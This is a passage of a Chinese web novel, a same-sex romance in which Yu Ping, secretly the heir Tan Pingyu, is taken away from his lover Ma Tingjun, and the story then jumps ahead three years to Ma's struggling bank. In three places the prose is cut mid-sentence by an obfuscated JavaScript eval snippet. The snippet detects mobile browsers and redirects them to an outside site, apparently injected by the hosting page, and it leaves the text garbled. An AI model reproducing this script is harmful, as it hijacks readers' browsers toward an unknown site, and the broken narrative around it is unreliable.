三奶奶不与他们废话,一边手拢了一个,推到相机前拍合影。看得出俞平心情低落着,麻霆君底下牵了他的手,与他靠在一起。他声音很小地道:“我爱你。” 麻霆君不解其意,只对他笑了笑,道:“我也爱你。” “霆君,平儿,要拍照了,看镜头——” 听见麻三奶奶在前头喊。俞平扯平嘴角,拉出一个微笑,自己也清楚表情有多么难看。煎熬许久,面前漆黑的镜头倏地一闪,他心上有股说不出的沉闷,像是开始,也像是结束了。 麻霆君兴高采烈去看照片。三奶奶也挤过来,笑道:“真是奇怪,照理说是一男一女才称得上般配,你和平儿倒是挺登对的。” 麻霆君立刻得意洋洋,道:“是吧?” “有空了要去烧高香,不知道有多少神仙保佑你了。” “就不许是靠我自己吸引的他么!” 吵闹时候,俞平上前一步,装着随口试探道:“姨娘,你们明天有时间吗?” 三奶奶道:“明天要拍合照,后天倒是没事情做。怎么了?” “我想带霆君去枢城。” 俞平没底气,声音愈发小,道,“我家人都在枢城,按原先的说法,大家可能都有误解。我想请你们一起去见见他们。” 麻霆君顷刻牵上他的手,道:“整天说有事瞒着我,就是这个?” 俞平小声道:“差不多。” 麻霆君吃惊道:“这算什么!” 俞平道:“你去了就知道了,我很愧疚的!” 三奶奶笑道:“这算什么?只要你们心是齐的,路途曲折一些,倒也无妨。” 最大的心事落了地,俞平也放松下来。幸而他能坚持到现在,四爷这个时候回枢城,再是比原计划提前,也大差不差。 早前谈皎叫他去联姻,他拒绝过了,也不信和麻霆君的事情能一直瞒着他们。既然送来的芭蕾票是两张,大抵是他们愿意接纳,心情好了不少。 麻霆君当是自己有功,逗他开心更加卖力,留到晚上才回布店。非送他走。一跨出麻公馆大门,便迫不及待把他拐去一旁,吻得两个人都喘不过气,才道:“我等不及了,能不能先去布店预演一下?” 俞平道:“哪有晚上见人的。” 麻霆君笑道:“布店都是自己人,至于这么讲究?” 俞平往大道上走,道,“还是先想想怎么和我爹开口,你看他肯不肯答应你。” “我这么好的一个青年,他怎么会不答应?” 麻霆君自卖自夸得不尽兴,捏了俞平的手腕,挨过来,又道,“好平儿,他要是不答应,你肯和我私奔吗?” 其实现在就是在私奔——俞平不敢讲实话,只道:“不肯。” “我想也不肯。”麻霆君笑道,“他不答应是一时的,等我把银行开起来,再去向他提一次,还不肯答应,就开分行了再去,买新房了再去……” 按他这么说下去,非把谈公馆也买下来了。俞平打断道:“好了,有完没完。” 麻霆君道:“哎呀,我要叫岳父看见我的真心。” 俞平嗤笑道:“我爹可严厉了,你自求多福吧。” 经行一带树荫,月光时而碎在地上。俞平心情好,挑光亮的碎片踩。 麻霆君在边上没有善罢甘休,为了让谈老爷接纳自己,用豪言壮志铺了一路,举出不少例子,忽然一拍脑袋,道:“和你讲太久,忘记一开始要说什么了。” 俞平望向他,他笑着掏口袋,道:“嗳,这是我想给你的。” 这段树荫密,唯一的光斑被俞平顶在了头上,只闻到点药水的味道。再往前是路灯,他跨了出去,才看清楚是个香囊。市面上没有卖这种款式的,做工太粗糙了,单只有用料还算讲究,里头塞得鼓鼓囊囊。 麻霆君罩着他的手,翻了一面,他摸出两个歪七扭八的圆圈,隐隐约约看得出是两个笑脸。 麻霆君也不好意思地笑了,道:“我是和我娘学的,一共缝了二十多个,就这个像样点。早看你天天带着旧香囊,不说用得多破,就是药效也没了。不如用我给你的。” 俞平抿着嘴,握麻霆君的手,才明白是针扎出的伤口。心上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239669|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冒出一阵酸楚,道:“都是做香囊做出来的吗?” 麻霆君道:“我毕竟是个新手。” “霆君。”他往麻霆君的怀里扑,道,“我真的很爱你!” 他说得自己也没什么底气,总觉得有更加不好的事情要发生,格外声嘶力竭一些。 麻霆君抱着他,温柔一笑,道:“我什么都愿意给你,不敢想象你会多爱我了。” 俞平只觉得心跳到了嗓眼,然而眼泪好像更快流下来一些。麻霆君便轻轻拍着他的背,又道:“我也很爱你,很爱你很爱你。” 俞平道:“答应我,一直在一起。” 麻霆君道:“说好了,一直一直不分开!” 一切都恰到好处的气氛里,俞平松了抱着他的手,仰头在他的脸颊轻轻吻了一记,袒露着属于真实的,谈凭玉的内心—— 他把旧香囊摸出来,捻了翡翠扳指的形状,郑重交在麻霆君手心,道:“好好保管,不准丢掉。” 其实丢掉就丢掉了,总归是身外之物,带不走的。他把谈凭玉真正的名头托付给了麻霆君,便是把一切都交托在了麻霆君的身上。 麻霆君暂且不会懂他,接来香囊,左右翻了翻,忽而一笑,道:“要是我挂在床头,夜里能梦到你么?” 谈凭玉还逞强,往他手臂上拍,道:“白天见面晚上也见面——腻死了!你看见我的脸,不会嫌烦吗?” 麻霆君笑道:“平儿小宝贝,我怎么会嫌你烦?不过,你会不会嫌我烦?毕竟是我爱你更多点。” 谈凭玉道:“说什么,难道我不爱你?” 麻霆君道:“我可从来没有瞒过你!” “是。”谈凭玉便道,“我是不爱你,已经开始厌烦了,你自求多福吧!” 麻霆君有一万个不相信的道理,却是结实把他环在怀里,左边脸亲过亲右脸,直到俞平骂过打过都不作数,忍无可忍,才笑道:“明天早点来我家,要拍合照的!” * 布店锁门前还不见俞平人影,倒是盼来几辆轿车。 詹兰竹听见动静,扫地动作顿一顿,当是麻霆君半夜三更摆排场开屏,闭着眼睛都想得出明日鹭镇风言风语究竟如何,尴尬笑一笑,朝外面喊道:“门没有锁!” 然而传来的脚步声更细碎一些,不像麻霆君一行人的动静。詹兰竹少时一愣,手上动作不停,姑且没去追究——却见到一位黑色西装小姐,踩高跟鞋。 “我来接我弟弟回去。”她连语调都是平淡的,仿佛被她眼睛的漆黑吞没了。 詹兰竹看她有些许熟悉,一时反应不过来。道:“您找哪位?” 谈皎径直走进布店:“你知道我找哪位。” 76.飞鸟 谈凭玉告别了麻霆君,一个人往回走。 从麻公馆到布店的一段路,在鹭镇上算十分热闹,开各式商店,什么都卖。这时候早打烊了,谈凭玉一户一户看过去,倒是想得出白天是什么光景。 他喜欢人多的地方,毕竟物以稀为贵,打小寂寞惯了,热闹便是弥足珍贵的。香岛没有压得过他的长辈,无人拘束,还能偷偷溜出去;在枢城,至多到宴会上露一面,更不用提踏出谈公馆。 然而枢城的活动更多,他错过许多有意思的场合,集市、展会。不过这段充满遗憾的日子都结束了。明天去麻公馆拍合照,后天就要回谈公馆,以后再有什么,或许能和麻霆君一起经历——或许生活里能够规划进麻霆君,他的孤独正式结束了。 他想了许多和麻霆君共度的时光,一开始就是在月色下进行的。 今夜月亮分外圆,白茫茫铺在麻石路上。记得香岛的沙滩也是白色的,好像是麻霆君牵着他走了以往的路,往昔的伤口一点点愈合着。 他心情颇好地拐弯,看见布店楼上点的灯。 “大小姐,大小姐,四爷回来了!” 他脚步一顿。 “大小姐,千真万确,四爷就是住在这家的!” 单龙奔出门口,看他一眼,火急火燎跑回布店,道,“大小姐,大小姐,四爷就在门口!” 布店节省惯了,夜里难得灯火通明一次,远远看见谈皎坐在最好的椅子上。迈进门槛仿佛是阴阳两隔,他的一切要结束了。 他站在前院,斗胆叫了一声:“姐姐。” 谈皎抬眼看他。 兰香从店里冲出来,躲在他身后,道:“嗳,你不是说,那少爷与你没瓜葛了,怎么又一副来找你的麻烦的意思?” 谈凭玉没应。兰香紧张地眨巴眼睛,又道:“俞平,你一定要好好活命,争取让麻霆君高攀个更厉害的,正规把你赎出去,你再回我家店里当长工……我保证不使唤你了,只要你平安回来!” 单龙吹一声口哨,道:“小丫头,离远点,这是四爷!” 兰香道:“哪来的四爷?我们俞平以前的男人么?告诉你,都是过去式了!” 这话荒唐到了极点,单龙也不恼,笑道:“你们一群瞎了眼的,真不识货!” 他小跑上前,一掌劈下兰香牵着谈凭玉的手,护着谈凭玉的肩,恭恭敬敬道:“四少爷,别和他们一般见识。” 兰香仍不放弃,在后头叫道:“哪里来的四少爷!” 谈凭玉朝单龙低声道:“你别对她太凶了。” “四爷放心,我也就是嗓门大些。”单龙笑过,回头道,“小丫头,四少爷远在天边,近在眼前——哪里是俞平,你听没听过我们四爷的大名,谈凭玉?” 兰香瞪圆了眼睛。 回到布店里,看见边上柜台摆的一只瓷茶杯,向上冒烟。谈皎没有喝布店的茶,他来了才装模作样地勾了把手,实际上也没有念头,光是端在手里。 谈皎是真的恨他。 他以往是不肯相信,现在依然如此,只是身体麻木了,没有逃跑的勇气。最初是谈皎打算借机把他杀了,哪想到他命大,便是一遍一遍确认他的死活。 那时的海没把他溺死,是爱上了麻霆君,曾经的他彻底死去了。 所以谈皎甚至愿意爱他,把他当作谈行一一样供着。小时候集万众瞩目,事情做不好也被众星捧月,她心目里隐隐约约恨着的谈凭玉早已消失干净——真不如是死了。 死了还正大光明立着名誉,现在算什么,四爷?俞平?说不清楚了。 他胡思乱想许多,实则就片刻沉默。 谈皎先开口:“爸爸病了,文翡也走了,我和行一是什么情况你都清楚。实在是缺人手,顾不过香岛,只能先叫你去顶着。” 谈凭玉一愣,道:“爸爸怎么会病了?” 谈皎道:“你不在的日子,爸爸兼顾枢城、香岛,还有些其他地方的产业,一直在外头跑,操劳过度。” 谈皎再多说了些,他一个字没听进去,因为知道无非是消磨点时间。他没有后路,也无法忤逆谈皎。思来想去还是担心麻霆君。要是去香岛,说不准什么时候回来。 谈凭玉心上实则答应了,轻轻道:“要去多久?” 谈皎道:“一年?总不可能永远不叫你回来。” 谈凭玉思忖一阵,鼓起勇气,才道:“姐姐,我在这里……” 谈皎平静道:“我知道,文翡临走前和我说过。” “我想带他一起走。” “你听说过么,家里名义上的家主还是你。” 他自己说得也不太坚定,又逢谈皎泼来的一盆冷水。看见谈皎垂眸,茶杯递到嘴边,到头来也没喝一口。再抬眼看他,一双眼睛大而空洞,一尘不变。 她道:“回去了要开宴会庆祝,多少双眼睛盯着。我最多保证你的安危,你能保证他吗?” 他一开始就知道不能!却是义无反顾爱上了。但是枢城那里,新家主上任,正是风雨飘摇之时,觊觎的眼光不会消停。他要去香岛避一阵嫌,回来后谈皎必然打点好了上下,基本局势稳定,才能来接麻霆君。 亏是造谣这段日子都在东洋,否则鹭镇不能够安宁。谈凭玉多少有些局促,僵硬笑的时候,附带些从前的身不由己。 谈皎道:“这里有什么东西要收拾吗?” 谈凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245067|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉道:“有几套衣服。” 谈皎必然嫌他小家子气,嘴上不表示,唤了人上楼整理。他想到是麻霆君送的,有点不放心,去楼梯口张望一眼,才看见詹老板与何氏一同站在楼梯上,卖力朝他笑着:“四爷……” 谈皎在他背后道:“他们和我们一起回去。” 麻霆君也可以一起走!谈凭玉豁然开朗,道:“既然如此——” 谈皎轻轻笑道:“他们倒是无所谓,你舍得让他死吗?” 他不再挣扎了。谈皎走时经过他的耳畔:“凭玉,我们是没有自由的。” 布店里人来人往,谈凭玉不忍心看他们搬家,先逃到车上。好不容易盼来兰香的声音,他开车窗招手,把兄妹二人叫到自己身旁。 兰香挤在中间,难得安静一次,许久才问他:“你真是谈少爷?” 谈凭玉胡乱应着。兰香简直喜出望外,道:“你岂不是号称枢城最有权势的人物了——我家和你家比起来,就是个狗窝。都能回家了,怎么哭丧着脸?” “我和霆君在一起了。”他低着头,像是承认一个错误。 兰香大叫道:“咦?他不是要去入赘吗?” 这是他原本留着吓唬兰香的,没想到兰香爆炸得太早太早。他压根没有说笑的心思,光是靠着玻璃窗。单龙赶了司机上车,平房接连落在脑后,记得不久前的痴心妄想,又想起麻霆君。 经行两扇红门,他依依不舍地回头看着,忽然倒吸一口气,道:“我的翡翠扳指没带上!” 单龙比他还着急,哇啦乱叫一通,赶忙催司机停车。谈家是秘密接人回去,怕停在麻公馆门口打草惊蛇,只能开到一旁的草丛。 单龙惊恐道:“四爷,你想得起放在哪里吗?” 谈凭玉提心吊胆,道:“好像在麻霆君的床头。” 兰香道:“你怎么把扳指放到麻霆君的床头?” 谈凭玉心虚道:“我怎么知道他会挂到床头?” 谈皎的车开在前头,没有来追责。 谈凭玉下了车。麻公馆夜里有人值班,见是他来,神色暧昧地笑了笑,一声不吭地解铁链。麻霆君的卧室门没有锁,旧香囊果真落在床头柜上,他小拇指勾了来,攥在手里,翡翠扳指硌着他的手心。 冷不丁窜出那只德国牧羊犬,叼起他的裤管,热烈地甩尾巴。他唯恐狗叫,把麻霆君惊醒,把黑兔抱在怀里,却又存着一丝侥幸——然而麻霆君睡得真是安详,隐约看他眉宇间微微皱着,比平日多有几分孩子气。 他微微挑开窗帘,月光落在床前,多温存一刻。 倘使真有什么悔恨,一年前没有敲响这扇门就好了。 【俞平篇·完】 77.平渝 三年后。 枢城。栀子花街道。 栀子花街道在江南也算偏,一直没什么实质性的发展。很难想象三号银行选址的用意,大抵是谈二爷贵人多忘事。 以往仗着二爷的名头,还有人来贷款,如今二爷远走高飞了,换他人接手,大不如前,十分惨淡,不免有些人走茶凉的意味。 新行长必然是穷得叮当响,开不起汽车,蹬一辆掉漆的脚踏车上班。也不是本地人,更没有成家。 然而这位新行长倒也不是个丑角,供人当笑料的——他长得实在是好。光是冲着他的相貌,一切刻薄话都讲不出来了。 早有人上门提议:银行起死复生,只需要靠他用这张脸换钱。 他不肯。 流言蜚语越传越盛,江东著名供人消遣的富贵之处,漫柳楼,派婆子上门过好几次,劝他趁青春年少,赶紧误入歧途,指不定哪天被富家小姐少爷看上,开什么银行?钱多的十家银行放不下。 然则行长做事端正,他们来几次,被他赶出去几次。 这位传奇人物的名号自然当当响—— 大名俞霆,人称俞行长,知根底的尊称一句五爷。 前年除夕,枢城飘起鹅毛大雪,麻霆君一辆车停在贝琴公寓楼下。带的行李不算多,胖子瘦子帮忙一同收拾着,三个人草草搬完了家。 幸而摊上个好房东。托谈四爷的福,一次独门专访,叫枢城日报彻底翻身。房东身为报社社长,从中捞了不少好处。到了该付钱的日子,不收麻霆君的钱不说,还主动雇了个厨子给他们做饭。 问起来却是支支吾吾,只说行善积德,支持青年行长。 省下来的钱款,麻霆君好好打点了银行,尤其在招牌上下不少心思。他嫌“栀子花街三号银行”不够响亮,另请人订了一块。 ——平渝银行。 其中“平”出自俞平的昵称平儿,“渝”麻霆君夜夜思念俞平的泪,也作麻霆君和俞平至死不渝。 胖子瘦子都一言难尽,唯有颜青表达了认可,毕竟刻字的是他的一位旧情人,借招牌,死灰复燃好几次。 然而新更名不到一个小时,就有神色肃穆的人前来提醒他们: “‘平渝’是什么意思,大家心里门清,你们不好这样取名,多么犯谈四爷的名讳。” 这才有人想起,谈四爷本名谈凭玉。 一提起谈凭玉,新仇旧恨一并来了。正是麻霆君同俞平最浓情蜜意之时,拍麻家大合影,等不来俞平,去到布店,却见人去楼空,才知道谈家半夜三更把人劫了走。 连黑兔都不知所踪,大抵是早早识破了他们的阴谋,勇而挺身阻拦,死于非命了。 麻霆君本就讨厌谈凭玉,有这层关系在,更是恨不得把谈凭玉扒皮抽筋了。亏他这时候还很血气方刚,不顾颜青的阻挠,要与找茬那人一教高下:“他谈凭玉又不是皇帝!” 那人道:“有这样不懂规矩,外地人?还好四爷在香岛,否则给你点颜色看。” 颜青出面劝架,道:“行长的老婆死了,现在精神不太对劲。四爷不会和这种人计较的,你也让让他。” 他本是不想失了银行的风度,谁知直奔麻霆君的伤口而来。麻霆君调转方向,朝他愤愤不平道:“你老婆才死了!” 闹的围观群众实在是多,胖子瘦子杀气腾腾地赶。有脸皮厚的,赖着不肯走,看行长实在肩宽体阔,哭得蹲在地上,仍是体型硕大: “俞平没有死,俞平没有死啊!” “没死怎么不来见你?你们不是婚房都买好了。” 后来有人从香岛回来,言之凿凿,宣称四爷身边多了条神气的德国牧羊犬。麻霆君才好受些,想来是四爷爱狗,那夜顺手牵狗,黑兔自己逆天改命,在谈公馆过富贵日子了。 栀子花街上居民倒还没翻篇,一直叫这位新行长“死了老婆的”;文明一点的叫他“鳏夫”;戾气重的叫他“晦气男”;热心肠的问他“婚房买在哪里?现在卖掉可能还能再赚点”,八卦心重的劝他“趁年轻再找一个,隔壁街好多寡妇。都是搭伙过日子,大家谁也不要嫌弃谁”。 麻霆君皆是一笑了之,不与他们计较。时日久了,街道上有什么出力气不讨巧的活动,他都赶在前面。街坊邻居看他人是真好,被感动得不清,逐渐来照顾银行的经营。 然而亏钱还是太厉害——旧账本上红色数字触目惊心。胖子和瘦子不忍翻看,提议用蓝色记盈亏,新账本上便页页汪洋大海。 伴随新官上任,麻霆君成了俞行长,与他的两位社员约法三章。其中最重要的一点便是: “无论好坏,新的生活已经到来了,没有我的允许,谁也不准提起俞平。” 麻霆君郑重其事道,“要是实在不能避免提到他,就用代号。我不想再听见他的名字。” 胖子出谋划策:“呆子。” 瘦子随机应变:“傻子。” 阿吉留在麻公馆,没有跟来。幸存的两人相视一笑:“偷五爷狗子。” 麻霆君道:“不是他偷的!” 瘦子道:“五爷,那晚门口守着的兄弟说,就是他抱着狗冲出去的。当是你们闹矛盾,没去阻拦。” “俞平偷我的狗能卖几个钱?况且德国牧羊犬的肉又不好吃,他为什么不放过我的狗?” 麻霆君不免红了眼眶,道,“我在他身上花的钱还少吗,他至于偷我的狗?” 胖子细声开导道:“养出感情了吧。” 麻霆君更是委屈:“他对我没感情吗?” 平渝银行开张整整一年,稍微赚了些,仍入不敷出。麻霆君擅自扩大了其他的业务,譬如子承父业卖茶叶。好不容易凑了点现钱。 一凑到钱就去找房东。房东实在愁眉苦脸:“实话实说,四爷付过了。” 麻霆君道:“谈四?” 全枢城单一位四爷,他这话形同虚设。房东自知没权限搅合他们的情事,便是点到为止,道:“麻先生,就是四爷给您付过。其余的我也不好多说了。” 剩一群人面面相觑。 颜青听得费解,用自己的思维恶意揣测:“听说四爷在东洋包花魁,玩疯了,男人那点事情你我都懂——这房东又是帮他写专访的,听说有人欠款,估计他心情好,一笔勾消了。” 麻霆君瞠目结舌,半天才说:“他玩疯了?他就这么对待俞平?太不专一了,要是俞平知道,会不会伤心?” “不是,你管这个?”颜青眼珠子要瞪出来,“他谈四不去捧花魁,你怎么撬的墙角?” “咦?” “咦什么,你有多清白!他谈四好歹正大光明,是你最道德败坏!为了俞平,还差点和我闹掰了!” 平渝银行主业不善,卖茶叶还算如火如荼。街坊邻居齐出力,为麻霆君介绍几个大客户。然而天公不作美,这年大雨瓢泼,晚几批的茶叶品相太差,实在拿不出手。 客户前来讨说法,麻霆君哪拿得出现钱,一不做二不休地拿账本给他看。 提议从现货抵押。最值钱的当属银行装潢,却是有二爷的名头庇护,不敢动,只好拿麻霆君开刀。 客户必然不好男色,又看麻霆君实在是英俊,我见犹怜,打算拿他充人情。枢城大户人家里子女多,总有领空饷的,白占个名头,生活真叫滋润。 若是能把麻霆君送去结婚,如此人情到手,谁去计较茶叶?这客户在枢城也是个小有名望的商人,介绍了不少富家子弟,男女都有,谁知道麻霆君死脑筋,铁了心要给俞平守寡,誓死不从。 客户拿他没办法,才着手清点他的资产。得知他住在贝琴公寓,十分吃惊: “你这么穷,还住在富人区?” 二话不说要用公寓抵债。麻霆君打着婚房的名义,苦苦哀求,再被他逃脱一次。客户便退而求其次,盯上了他的爱车。 至此,麻霆君只能开自行车上班,胖子瘦子则去挤电车。 说是不打不相识,一来二去,客户与麻霆君算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250287|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是熟悉上了,时常来平渝银行吃下午茶。麻霆君闲不住,张口闭口便是与俞平的爱情故事,叫客户听得涕泪涟涟。 客户名为甄展,家住江东滨江区。认识许久,麻霆君终于向他打听谈凭玉的事情。甄展再神通广大,只能在江南逞英雄,说是朋友的朋友的朋友认识他,八卦新闻倒是知道不少。 麻霆君掐头去尾,问了谈四身边是不是一直有个情人—— “没听说过有人跟谈四,但他确实出了点状况。” “哎呀,甄老板。” “上次介绍给你,住谈公馆边上一户的,你不要。人家这几天结婚了,我去喝喜酒,谈四也在。但我们不在一桌,我没看见他,只听大家传得沸沸扬扬,谈四亲口承认自己结过婚,可惜成了鳏夫。” 俞平的话题便咽了下去。麻霆君忍不住又道:“他养狗吗?” “他从小到大都养狗。但是来喝喜酒,又不会牵一条狗。” 甄展倏地想起什么,茅塞顿开,道,“阿霆,谈四是鳏夫,你好像也是。兴许他的滔天气运,还能分你一半。” 平渝银行开张一年半,勉强有些起色,才知道什么是手忙脚乱。 某天麻霆君请颜青来吃饭,颜青当他良心发现,终于做一回好人,谁知是绑架自己来当职员——在颜青的强烈抗议下,麻霆君正式聘请他为副行长。 有颜副行长长袖善舞,一时间来开户的众多。麻霆君当是终于轮到自己飞黄腾达,好久才知道都是颜青的新旧情人,打着生意的名义来叙旧的。 平渝银行开张两年,颜青人脉资源终于耗尽,银行沉寂许久,某天终于盼来他风风火火带新人来。远远听见高跟鞋动静不小,当是他祸水东引,一行人急忙出来劝,碰上面了才知道是郁蕙心。 颜青不解其意,大笑道:“霆君,我给你找了个得力助手!” 因由出国看弟弟,所逃过一劫的郁蕙心,两年后风光回国,第一件事就是被颜青接到了银行里。 颜青做担保:“郁蕙心脑子好,在后面管账吧。” 堂堂郁家二小姐哪有管账的道理?且不说他多荒谬,郁蕙心光是看见麻霆君,已然目瞪口呆,怔了许久才道:“麻霆君,你没死啊!” 顷刻要去打电话。颜青疑惑道:“你打给谁?” “还有谁?”郁蕙心焦头烂额,边拨电话边道,“你们说是谁?” 胖子看了麻霆君脸色,果断上前阻拦,道:“不准你给偷五爷狗子通风报信!” 郁蕙心柳眉一竖,道:“讲什么胡话?” 胖子提心吊胆道:“‘偷五爷狗子’,就是俞平。郁小姐你认识的。” ……对了口供才知道,麻霆君来枢城堪称背水一战,临行前特地嘱咐家里,就当是自己死了。为了不留后患,一不做二不休,早早在祖坟旁开辟了灵位。 布店一家被谈家拘了将近一年,詹兰竹甚至认贼作父,在谈凭玉身边混了一官半职。他们此般回家,便是要给谈家通风报信。幸而消息阻断,没人了解前因后果,看见麻霆君的坟墓皆是黯然神伤,叫麻霆君躲了一场灾。 然而郁蕙心声称俞平也抽空回过鹭镇,伤心一场,一去不复返地留在香岛了。 麻霆君激动上了:“原来俞平也会为了我伤心,我这条命值了!” 郁蕙心骂他一句,道:“等下电话通了,你自己解释清楚。” 麻霆君道:“我有什么好解释?他最好是当我死了,否则放着好日子不过,还要来陪我。等我东山再起,风风光光把他赎回来。” 胖子不忘道:“我们五爷是大英雄。” 瘦子跟着道:“我们五爷真有志气。” 郁蕙心气急败坏,拿听筒打他一通,又怕谈凭玉知道了心疼,悻悻收了手。道:“麻霆君,我看你是真的该死!” 她再去拨电话。另几个凑在边上看热闹,麻霆君站在郁蕙心身旁,也没有拦着她。终于听见叫他魂牵梦萦的声音—— “哪位?” 78.自作 许久不见俞平,竟觉得有些陌生。麻霆君知道就是他,心上却是迟疑不决,难以相信。 这几年太想念俞平了,真正恋爱的时光实际上只有一点点,被翻来覆去地想,熟得变了模样。倘使俞平真真切切站在他面前,他都没有勇气认,只当是梦一场。 郁蕙心不由分说塞来一个听筒,麻霆君屏息凝神,不肯出声。 郁蕙心催道:“你和他讲啊!” 麻霆君摇头,身上也有些颤抖。 听筒里传来声音,郁蕙心实在一筹莫展,只好先去安抚俞平,道:“我是蕙心,刚回国,在外面借的电话。最近还好吗?” 俞平道:“刚才怎么了?” 郁蕙心回头,看见一群人朝她挤眉弄眼。到底是身处枢城,与他们抬头不见低头见的,便是两边不想得罪,翻个白眼,道:“颜青前阵子给麻霆君上坟了。他正好在我边上,我想叫他和你讲几句,他不答应。” 听见俞平叹一口气。听筒的摩擦声音刺耳,直直捣着麻霆君的心。 他道:“霆君死了多久了?” 麻霆君在一旁对口型,边上每个人的口型都不一样。郁蕙心胡乱道:“应该很久了。” “是很久。”俞平低声道,“香岛没有四季,我不太分得清时间,总觉得在昨天。” 看麻霆君红了眼眶,郁蕙心最后挣扎道:“你想,麻霆君一直不太聪明,万一他傻人有傻福,或者有奇迹……他没有死呢?” 俞平道:“你不用安慰我,我伤心过,早就不想这种事情了。” “那,你什么时候回枢城?” “我不太想回来了。” 这算个什么结果?电话挂了,郁蕙心恨不得搬起茶几把所有人砸一顿,谁想出的馊主意,两边都折磨!最初生离死别,谈凭玉不好受,她跟着不好受,伤心好几天。 扭转得太荒谬,她气不打一处来,戳麻霆君的额头,道:“你满意了?” 麻霆君痴痴道:“苦了这么多年,听见他的声音,好像一切都不算什么了。” 郁蕙心再拧他的耳朵,连来劝架的颜青都挨了揍。她凶道:“别扯这些!你现在快点去谈公馆,跟人解释清楚了,他们会把你送去香岛的。” 麻霆君道:“我去香岛干什么?” 郁蕙心维持最后一丝理智,道:“去找俞平!” 麻霆君道:“郁蕙心,我好歹是个男人,我也有自尊心!就算俞平还喜欢我,谈凭玉愿意放过我们,我不舍得让俞平和我过苦日子!” 胖子、瘦子、颜青,三人脸上尽是欣赏。 “哪里有俞平,哪来的俞平!俞平就是谈凭玉,他们是一个人!” 郁蕙心怒道,“你这个王八,相处了这么久,你发现不出来?” 麻霆君被她吓唬得老实,顿了许久,道:“和你说实话,我最初的时候是想过这种可能。而且俞平也常和我提,他说他就是谈四。” “然后?” “然后,我有我的判断。俞平喜欢欺负我,又知道我讨厌谈四,才来和我开玩笑的。” “如果他不是开玩笑呢?” “说是谈四在东洋。” “谈家要易主,他哪有闲心消遣?是遭人暗算,逃命来鹭镇的。” 麻霆君有理有据道:“如果我要逃命,我一定不叫君霆。” 颜青立刻出来帮腔了:“看我们霆君说得多有道理!” 这话脱口而出才觉得不对,又道:“不是,你叫俞霆,能好到哪里去?” 没曾想到爱情有着如此魔力,郁家行商,想来以后在商场也无需勾心斗角,只用把对手都吻上一遍。郁蕙心认定他们一个个都没救了,干脆撕破脸,道:“俞平就是谈凭玉!他们是一个人!” 颜青道:“从英国回来,疯成这样?” 麻霆君也吃惊,道:“洋人真害人不浅,还好我英文差,不会被牵连。” 气得郁蕙心丢下行李,拦了车回家。听说麻霆君住在她公寓楼上,再清净也不愿回去了。然而家里姨娘唠叨着实不堪重负,尤其催促她趁早婚嫁。 只好仗着出门工作的名义,灰溜溜搬回贝琴公寓,每天和麻霆君打照面,一来二去,真要去平渝银行上班。 麻霆君与颜青发现如此苗头,盛情难却,拉拢道:“我们会给你介绍天底下最好的男子,你有什么特殊要求,尽管告诉我们。” “女的。” “那就是天底下最好的女子。” 天底下最好的女子实在太有冲击,郁蕙心半信半疑,也是打发时间,附加与谈凭玉的一份友谊,就当是监督麻霆君所作所为,在银行谋了个职位。 她有司机接送,楼上三人看着眼红,都死皮赖脸地挤在车上,一来二去,还算走上正轨;唯独薪水要拖半个月才能结。当然她三天打鱼两天晒网,没好到哪里去。 平渝银行开张第三年,不凑巧,外头打经贸战,银行更不好过。 人人紧了口袋,没有愿意出钱周转的。亏损实在太多,运行不下去,郁蕙心被他们几个生生磨没了警惕,碰巧谈凭玉寄了礼物回来,便死灰复燃,支使他们问谈凭玉借钱。 麻霆君再是要面子,到底是银行重要。经营两年,若非大环境萧条,其实也小有起色。一路许愿能碰见俞平,终于敲到了谈公馆的门。 但是谈凭玉在香岛,没有要回来的讯息。只找得到三少爷谈行一。 一见是麻霆君,气氛没有预想中的剑拔弩张,谈行一轻松笑了笑示好,道:“你就是俞霆行长,蕙心介绍来的?” “是的,三爷,我就是俞霆。” “难怪她要找你——感觉我弟弟会喜欢你。你们要不要认识一下?” 于是麻霆君得了款,一句好话不肯讲,更是一万个不乐意:还不如诈尸回鹭镇,死皮赖脸求家里帮衬。 前阵子麻霆君与银行打得水深火热,颜青则与一名鳏夫不可开交。大约是那鳏夫对他真好,他十分卖力地在银行宣传:“能够结婚的男人,都是有缘由的。” 正逢麻霆君跑业务回来,筋疲力尽,颜青不肯放过,缠着他道:“霆君,我看你放弃俞平算了,也去找个鳏夫,过一把神仙日子。” 这话脱口后,颜青意识到不对,捂着嘴道:“我忘记了,你自己就是。” 后来在鳏夫那里吃了败仗,颜青逃回来大发牢骚:“千帆阅尽,还是俞平最好,赏心悦目,人也很可爱。” 胖子瘦子急于发攻——他求饶道:“没有俞平,是偷五爷狗子。 